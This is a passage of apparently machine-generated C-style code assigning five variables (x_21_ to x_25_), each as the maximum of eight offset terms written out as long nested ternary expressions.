x_21_ = (((((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) > ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))? ((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) : ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))) > (((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) > ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16))? ((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) : ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16)))? (((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) > ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))? ((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) : ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))) : (((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) > ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16))? ((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) : ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16)))) > ((((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) > ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))? ((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) : ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))) > (((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) > ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31))? ((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) : ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31)))? (((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) > ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))? ((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) : ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))) : (((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) > ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31))? ((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) : ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31))))? ((((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) > ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))? ((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) : ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))) > (((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) > ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16))? ((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) : ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16)))? (((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) > ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))? ((6.0 + x_0) > (3.0 + x_2)? (6.0 + x_0) : (3.0 + x_2)) : ((17.0 + x_3) > (20.0 + x_4)? (17.0 + x_3) : (20.0 + x_4))) : (((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) > ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16))? ((3.0 + x_5) > (1.0 + x_7)? (3.0 + x_5) : (1.0 + x_7)) : ((15.0 + x_8) > (1.0 + x_16)? (15.0 + x_8) : (1.0 + x_16)))) : ((((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) > ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))? ((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) : ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))) > (((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) > ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31))? ((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) : ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31)))? (((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) > ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))? ((9.0 + x_19) > (11.0 + x_22)? (9.0 + x_19) : (11.0 + x_22)) : ((3.0 + x_25) > (15.0 + x_26)? (3.0 + x_25) : (15.0 + x_26))) : (((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) > ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31))? ((19.0 + x_27) > (6.0 + x_29)? (19.0 + x_27) : (6.0 + x_29)) : ((11.0 + x_30) > (20.0 + x_31)? (11.0 + x_30) : (20.0 + x_31)))));
x_22_ = (((((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) > ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))? ((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) : ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))) > (((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) > ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16))? ((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) : ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16)))? (((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) > ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))? ((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) : ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))) : (((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) > ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16))? ((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) : ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16)))) > ((((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) > ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))? ((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) : ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))) > (((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) > ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29))? ((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) : ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29)))? (((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) > ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))? ((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) : ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))) : (((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) > ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29))? ((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) : ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29))))? ((((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) > ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))? ((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) : ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))) > (((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) > ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16))? ((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) : ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16)))? (((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) > ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))? ((6.0 + x_1) > (3.0 + x_2)? (6.0 + x_1) : (3.0 + x_2)) : ((8.0 + x_4) > (12.0 + x_5)? (8.0 + x_4) : (12.0 + x_5))) : (((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) > ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16))? ((16.0 + x_7) > (20.0 + x_11)? (16.0 + x_7) : (20.0 + x_11)) : ((8.0 + x_13) > (17.0 + x_16)? (8.0 + x_13) : (17.0 + x_16)))) : ((((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) > ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))? ((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) : ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))) > (((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) > ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29))? ((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) : ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29)))? (((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) > ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))? ((10.0 + x_18) > (13.0 + x_19)? (10.0 + x_18) : (13.0 + x_19)) : ((8.0 + x_20) > (11.0 + x_21)? (8.0 + x_20) : (11.0 + x_21))) : (((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) > ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29))? ((16.0 + x_22) > (12.0 + x_24)? (16.0 + x_22) : (12.0 + x_24)) : ((16.0 + x_26) > (17.0 + x_29)? (16.0 + x_26) : (17.0 + x_29)))));
x_23_ = (((((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) > ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))? ((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) : ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))) > (((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) > ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17))? ((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) : ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17)))? (((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) > ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))? ((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) : ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))) : (((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) > ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17))? ((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) : ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17)))) > ((((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) > ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))? ((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) : ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))) > (((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) > ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31))? ((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) : ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31)))? (((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) > ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))? ((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) : ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))) : (((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) > ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31))? ((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) : ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31))))? ((((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) > ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))? ((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) : ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))) > (((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) > ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17))? ((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) : ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17)))? (((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) > ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))? ((18.0 + x_0) > (1.0 + x_3)? (18.0 + x_0) : (1.0 + x_3)) : ((18.0 + x_4) > (1.0 + x_8)? (18.0 + x_4) : (1.0 + x_8))) : (((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) > ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17))? ((19.0 + x_11) > (7.0 + x_14)? (19.0 + x_11) : (7.0 + x_14)) : ((6.0 + x_15) > (9.0 + x_17)? (6.0 + x_15) : (9.0 + x_17)))) : ((((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) > ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))? ((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) : ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))) > (((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) > ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31))? ((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) : ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31)))? (((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) > ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))? ((19.0 + x_18) > (12.0 + x_19)? (19.0 + x_18) : (12.0 + x_19)) : ((10.0 + x_22) > (3.0 + x_23)? (10.0 + x_22) : (3.0 + x_23))) : (((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) > ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31))? ((16.0 + x_24) > (5.0 + x_26)? (16.0 + x_24) : (5.0 + x_26)) : ((2.0 + x_30) > (11.0 + x_31)? (2.0 + x_30) : (11.0 + x_31)))));
x_24_ = (((((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) > ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))? ((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) : ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))) > (((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) > ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13))? ((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) : ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13)))? (((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) > ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))? ((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) : ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))) : (((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) > ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13))? ((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) : ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13)))) > ((((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) > ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))? ((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) : ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))) > (((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) > ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31))? ((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) : ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31)))? (((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) > ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))? ((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) : ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))) : (((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) > ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31))? ((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) : ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31))))? ((((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) > ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))? ((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) : ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))) > (((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) > ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13))? ((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) : ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13)))? (((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) > ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))? ((6.0 + x_0) > (14.0 + x_1)? (6.0 + x_0) : (14.0 + x_1)) : ((19.0 + x_2) > (13.0 + x_5)? (19.0 + x_2) : (13.0 + x_5))) : (((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) > ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13))? ((20.0 + x_6) > (9.0 + x_8)? (20.0 + x_6) : (9.0 + x_8)) : ((17.0 + x_9) > (6.0 + x_13)? (17.0 + x_9) : (6.0 + x_13)))) : ((((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) > ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))? ((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) : ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))) > (((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) > ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31))? ((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) : ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31)))? (((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) > ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))? ((6.0 + x_16) > (5.0 + x_17)? (6.0 + x_16) : (5.0 + x_17)) : ((5.0 + x_22) > (7.0 + x_23)? (5.0 + x_22) : (7.0 + x_23))) : (((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) > ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31))? ((19.0 + x_25) > (14.0 + x_27)? (19.0 + x_25) : (14.0 + x_27)) : ((20.0 + x_30) > (19.0 + x_31)? (20.0 + x_30) : (19.0 + x_31)))));
x_25_ = (((((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))? ((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))) > (((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) > ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13))? ((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) : ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13)))? (((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))? ((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))) : (((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) > ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13))? ((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) : ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13)))) > ((((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) > ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))? ((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) : ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))) > (((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) > ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29))? ((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) : ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29)))? (((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) > ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))? ((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) : ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))) : (((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) > ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29))? ((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) : ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29))))? ((((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))? ((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))) > (((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) > ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13))? ((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) : ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13)))? (((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))? ((12.0 + x_0) > (15.0 + x_2)? (12.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (1.0 + x_4)? (3.0 + x_3) : (1.0 + x_4))) : (((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) > ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13))? ((8.0 + x_6) > (11.0 + x_7)? (8.0 + x_6) : (11.0 + x_7)) : ((7.0 + x_11) > (13.0 + x_13)? (7.0 + x_11) : (13.0 + x_13)))) : ((((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) > ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))? ((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) : ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))) > (((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) > ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29))? ((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) : ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29)))? (((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) > ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))? ((6.0 + x_15) > (20.0 + x_18)? (6.0 + x_15) : (20.0 + x_18)) : ((19.0 + x_19) > (19.0 + x_21)? (19.0 + x_19) : (19.0 + x_21))) : (((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) > ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29))? ((8.0 + x_22) > (10.0 + x_26)? (8.0 + x_22) : (10.0 + x_26)) : ((9.0 + x_27) > (11.0 + x_29)? (9.0 + x_27) : (11.0 + x_29)))));
